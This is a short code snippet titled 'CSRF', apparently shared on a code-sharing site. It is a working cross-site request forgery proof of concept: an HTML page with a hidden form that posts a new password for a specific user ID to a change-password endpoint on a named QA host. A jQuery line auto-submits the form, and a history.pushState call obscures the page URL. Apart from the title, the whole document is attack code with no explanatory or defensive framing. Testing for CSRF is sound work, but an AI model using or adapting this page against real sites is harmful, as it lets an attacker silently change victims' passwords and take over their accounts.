CSRF

by Yaroslav Kovalchyk

HTML

<!DOCTYPE HTML>
<html>
<head>
    <title>CSRF</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>

<script>history.pushState('', '', '/')</script>

<form id="changePasswordForm" action="https://qa.reflexion.net/change-password?uID=125246" method="post">
    <input type="hidden" name="EDIT_NEW_PASSWORD" value="newPwd3333"/>
    <input type="hidden" name="EDIT_CONFIRM_NEW_PASSWORD" value="newPwd3333"/>
    <input type="hidden" name="BUT_OK" value="Confirm"/>
</form>

</body>
</html>

JavaScript

jQuery("#changePasswordForm").submit();